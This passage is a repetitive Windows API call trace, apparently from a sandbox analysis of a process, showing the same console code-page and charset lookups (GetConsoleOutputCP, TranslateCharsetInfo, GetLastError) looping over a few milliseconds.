lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.788] GetLastError () returned 0xcb [0066.788] GetConsoleOutputCP () returned 0x1b5 [0066.788] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.788] GetLastError () returned 0xcb [0066.788] GetConsoleOutputCP () returned 0x1b5 [0066.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.789] GetLastError () returned 0xcb [0066.789] GetConsoleOutputCP () returned 0x1b5 [0066.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.789] GetLastError () returned 0xcb [0066.789] GetConsoleOutputCP () returned 0x1b5 [0066.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.789] GetLastError () returned 0xcb [0066.789] GetConsoleOutputCP () returned 0x1b5 [0066.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.789] GetLastError () returned 0xcb [0066.789] GetConsoleOutputCP () returned 0x1b5 [0066.789] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.789] GetLastError () returned 0xcb [0066.790] GetConsoleOutputCP () returned 0x1b5 [0066.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.790] GetLastError () returned 0xcb [0066.790] GetConsoleOutputCP () returned 0x1b5 [0066.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.790] GetLastError () returned 0xcb [0066.790] GetConsoleOutputCP () returned 0x1b5 [0066.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.790] GetLastError () returned 0xcb [0066.790] GetConsoleOutputCP () returned 0x1b5 [0066.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.790] GetLastError () returned 0xcb [0066.790] GetConsoleOutputCP () returned 0x1b5 [0066.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.790] GetLastError () returned 0xcb [0066.790] GetConsoleOutputCP () returned 0x1b5 [0066.790] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.791] GetLastError () returned 0xcb [0066.791] GetConsoleOutputCP () returned 0x1b5 [0066.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.791] GetLastError () returned 0xcb [0066.791] GetConsoleOutputCP () returned 0x1b5 [0066.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.791] GetLastError () returned 0xcb [0066.791] GetConsoleOutputCP () returned 0x1b5 [0066.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.791] GetLastError () returned 0xcb [0066.791] GetConsoleOutputCP () returned 0x1b5 [0066.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.791] GetLastError () returned 0xcb [0066.791] GetConsoleOutputCP () returned 0x1b5 [0066.791] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.791] GetLastError () returned 0xcb [0066.791] GetConsoleOutputCP () returned 0x1b5 [0066.792] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.792] GetLastError () returned 0xcb [0066.792] GetConsoleOutputCP () returned 0x1b5 [0066.792] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.792] GetLastError () returned 0xcb [0066.792] GetConsoleOutputCP () returned 0x1b5 [0066.792] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.792] GetLastError () returned 0xcb [0066.792] GetConsoleOutputCP () returned 0x1b5 [0066.792] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.792] GetLastError () returned 0xcb [0066.792] GetConsoleOutputCP () returned 0x1b5 [0066.792] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.792] GetLastError () returned 0xcb [0066.792] GetConsoleOutputCP () returned 0x1b5 [0066.793] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.793] GetLastError () returned 0xcb [0066.793] GetConsoleOutputCP () returned 0x1b5 [0066.793] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.793] GetLastError () returned 0xcb [0066.793] GetConsoleOutputCP () returned 0x1b5 [0066.793] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.793] GetLastError () returned 0xcb [0066.793] GetConsoleOutputCP () returned 0x1b5 [0066.793] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.793] GetLastError () returned 0xcb [0066.793] GetConsoleOutputCP () returned 0x1b5 [0066.794] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.794] GetLastError () returned 0xcb [0066.794] GetConsoleOutputCP () returned 0x1b5 [0066.794] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.794] GetLastError () returned 0xcb [0066.794] GetConsoleOutputCP () returned 0x1b5 [0066.794] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.794] GetLastError () returned 0xcb [0066.794] GetConsoleOutputCP () returned 0x1b5 [0066.794] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.794] GetLastError () returned 0xcb [0066.794] GetConsoleOutputCP () returned 0x1b5 [0066.794] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.794] GetLastError () returned 0xcb [0066.794] GetConsoleOutputCP () returned 0x1b5 [0066.794] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.794] GetLastError () returned 0xcb [0066.794] GetConsoleOutputCP () returned 0x1b5 [0066.795] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.795] GetLastError () returned 0xcb [0066.795] GetConsoleOutputCP () returned 0x1b5 [0066.795] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.795] GetLastError () returned 0xcb [0066.795] GetConsoleOutputCP () returned 0x1b5 [0066.795] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.795] GetLastError () returned 0xcb [0066.795] GetConsoleOutputCP () returned 0x1b5 [0066.795] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.795] GetLastError () returned 0xcb [0066.795] GetConsoleOutputCP () returned 0x1b5 [0066.795] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.795] GetLastError () returned 0xcb [0066.795] GetConsoleOutputCP () returned 0x1b5 [0066.795] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.795] GetLastError () returned 0xcb [0066.796] GetConsoleOutputCP () returned 0x1b5 [0066.796] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.796] GetLastError () returned 0xcb [0066.796] GetConsoleOutputCP () returned 0x1b5 [0066.796] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.796] GetLastError () returned 0xcb [0066.796] GetConsoleOutputCP () returned 0x1b5 [0066.796] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.796] GetLastError () returned 0xcb [0066.796] GetConsoleOutputCP () returned 0x1b5 [0066.796] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.796] GetLastError () returned 0xcb [0066.796] GetConsoleOutputCP () returned 0x1b5 [0066.796] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.796] GetLastError () returned 0xcb [0066.796] GetConsoleOutputCP () returned 0x1b5 [0066.796] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.797] GetLastError () returned 0xcb [0066.797] GetConsoleOutputCP () returned 0x1b5 [0066.797] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.797] GetLastError () returned 0xcb [0066.797] GetConsoleOutputCP () returned 0x1b5 [0066.797] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.797] GetLastError () returned 0xcb [0066.797] GetConsoleOutputCP () returned 0x1b5 [0066.797] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e3b0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e3b0) returned 0 [0066.797] GetLastError () returned 0xcb [0066.797] GetConsoleOutputCP () returned 0x1b5 [0066.797] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e3b0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e3b0) returned 0 [0066.797] GetLastError () returned 0xcb [0066.797] GetConsoleOutputCP () returned 0x1b5 [0066.797] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e3b0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e3b0) returned 0 [0066.797] GetLastError () returned 0xcb [0066.797] GetConsoleOutputCP () returned 0x1b5 [0066.798] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.798] GetLastError () returned 0xcb [0066.798] GetConsoleOutputCP () returned 0x1b5 [0066.798] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.798] GetLastError () returned 0xcb [0066.798] GetConsoleOutputCP () returned 0x1b5 [0066.798] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.798] GetLastError () returned 0xcb [0066.798] GetConsoleOutputCP () returned 0x1b5 [0066.798] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.798] GetLastError () returned 0xcb [0066.798] GetConsoleOutputCP () returned 0x1b5 [0066.798] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.798] GetLastError () returned 0xcb [0066.798] GetConsoleOutputCP () returned 0x1b5 [0066.799] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.799] GetLastError () returned 0xcb [0066.799] GetConsoleOutputCP () returned 0x1b5 [0066.799] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.799] GetLastError () returned 0xcb [0066.799] GetConsoleOutputCP () returned 0x1b5 [0066.799] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.799] GetLastError () returned 0xcb [0066.799] GetConsoleOutputCP () returned 0x1b5 [0066.799] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.799] GetLastError () returned 0xcb [0066.799] GetConsoleOutputCP () returned 0x1b5 [0066.799] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.799] GetLastError () returned 0xcb [0066.799] GetConsoleOutputCP () returned 0x1b5 [0066.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.800] GetLastError () returned 0xcb [0066.800] GetConsoleOutputCP () returned 0x1b5 [0066.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.800] GetLastError () returned 0xcb [0066.800] GetConsoleOutputCP () returned 0x1b5 [0066.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.800] GetLastError () returned 0xcb [0066.800] GetConsoleOutputCP () returned 0x1b5 [0066.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.800] GetLastError () returned 0xcb [0066.800] GetConsoleOutputCP () returned 0x1b5 [0066.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.800] GetLastError () returned 0xcb [0066.800] GetConsoleOutputCP () returned 0x1b5 [0066.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.801] GetLastError () returned 0xcb [0066.801] GetConsoleOutputCP () returned 0x1b5 [0066.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.801] GetLastError () returned 0xcb [0066.801] GetConsoleOutputCP () returned 0x1b5 [0066.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.801] GetLastError () returned 0xcb [0066.801] GetConsoleOutputCP () returned 0x1b5 [0066.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.801] GetLastError () returned 0xcb [0066.801] GetConsoleOutputCP () returned 0x1b5 [0066.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.801] GetLastError () returned 0xcb [0066.801] GetConsoleOutputCP () returned 0x1b5 [0066.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.801] GetLastError () returned 0xcb [0066.801] GetConsoleOutputCP () returned 0x1b5 [0066.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.802] GetLastError () returned 0xcb [0066.802] GetConsoleOutputCP () returned 0x1b5 [0066.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.802] GetLastError () returned 0xcb [0066.802] GetConsoleOutputCP () returned 0x1b5 [0066.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.802] GetLastError () returned 0xcb [0066.802] GetConsoleOutputCP () returned 0x1b5 [0066.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.802] GetLastError () returned 0xcb [0066.802] GetConsoleOutputCP () returned 0x1b5 [0066.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.803] GetLastError () returned 0xcb [0066.803] GetConsoleOutputCP () returned 0x1b5 [0066.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.803] GetLastError () returned 0xcb [0066.803] GetConsoleOutputCP () returned 0x1b5 [0066.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.803] GetLastError () returned 0xcb [0066.803] GetConsoleOutputCP () returned 0x1b5 [0066.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.803] GetLastError () returned 0xcb [0066.803] GetConsoleOutputCP () returned 0x1b5 [0066.804] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.804] GetLastError () returned 0xcb [0066.804] GetConsoleOutputCP () returned 0x1b5 [0066.804] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.804] GetLastError () returned 0xcb [0066.804] GetConsoleOutputCP () returned 0x1b5 [0066.804] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.804] GetLastError () returned 0xcb [0066.804] GetConsoleOutputCP () returned 0x1b5 [0066.804] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.804] GetLastError () returned 0xcb [0066.804] GetConsoleOutputCP () returned 0x1b5 [0066.804] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.804] GetLastError () returned 0xcb [0066.804] GetConsoleOutputCP () returned 0x1b5 [0066.805] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.805] GetLastError () returned 0xcb [0066.805] GetConsoleOutputCP () returned 0x1b5 [0066.805] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.805] GetLastError () returned 0xcb [0066.805] GetConsoleOutputCP () returned 0x1b5 [0066.805] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.805] GetLastError () returned 0xcb [0066.805] GetConsoleOutputCP () returned 0x1b5 [0066.805] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.805] GetLastError () returned 0xcb [0066.805] GetConsoleOutputCP () returned 0x1b5 [0066.805] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.805] GetLastError () returned 0xcb [0066.806] GetConsoleOutputCP () returned 0x1b5 [0066.806] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.806] GetLastError () returned 0xcb [0066.806] GetConsoleOutputCP () returned 0x1b5 [0066.806] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.806] GetLastError () returned 0xcb [0066.806] GetConsoleOutputCP () returned 0x1b5 [0066.806] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.806] GetLastError () returned 0xcb [0066.806] GetConsoleOutputCP () returned 0x1b5 [0066.806] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.806] GetLastError () returned 0xcb [0066.806] GetConsoleOutputCP () returned 0x1b5 [0066.806] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.806] GetLastError () returned 0xcb [0066.806] GetConsoleOutputCP () returned 0x1b5 [0066.807] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.807] GetLastError () returned 0xcb [0066.807] GetConsoleOutputCP () returned 0x1b5 [0066.807] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.807] GetLastError () returned 0xcb [0066.807] GetConsoleOutputCP () returned 0x1b5 [0066.807] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.807] GetLastError () returned 0xcb [0066.807] GetConsoleOutputCP () returned 0x1b5 [0066.807] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.807] GetLastError () returned 0xcb [0066.807] GetConsoleOutputCP () returned 0x1b5 [0066.807] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.807] GetLastError () returned 0xcb [0066.808] GetConsoleOutputCP () returned 0x1b5 [0066.808] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.808] GetLastError () returned 0xcb [0066.808] GetConsoleOutputCP () returned 0x1b5 [0066.808] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.808] GetLastError () returned 0xcb [0066.808] GetConsoleOutputCP () returned 0x1b5 [0066.808] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.808] GetLastError () returned 0xcb [0066.808] GetConsoleOutputCP () returned 0x1b5 [0066.808] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.808] GetLastError () returned 0xcb [0066.808] GetConsoleOutputCP () returned 0x1b5 [0066.809] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.809] GetLastError () returned 0xcb [0066.809] GetConsoleOutputCP () returned 0x1b5 [0066.809] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.809] GetLastError () returned 0xcb [0066.809] GetConsoleOutputCP () returned 0x1b5 [0066.809] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.809] GetLastError () returned 0xcb [0066.809] GetConsoleOutputCP () returned 0x1b5 [0066.809] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.809] GetLastError () returned 0xcb [0066.809] GetConsoleOutputCP () returned 0x1b5 [0066.809] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.809] GetLastError () returned 0xcb [0066.809] GetConsoleOutputCP () returned 0x1b5 [0066.809] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.809] GetLastError () returned 0xcb [0066.809] GetConsoleOutputCP () returned 0x1b5 [0066.810] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.810] GetLastError () returned 0xcb [0066.810] GetConsoleOutputCP () returned 0x1b5 [0066.810] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.810] GetLastError () returned 0xcb [0066.810] GetConsoleOutputCP () returned 0x1b5 [0066.810] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5e8e390, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5e8e390) returned 0 [0066.810] GetLastError () returned 0xcb [0066.810] GetConsoleOutputCP () returned 0x1b5 [0066.810] 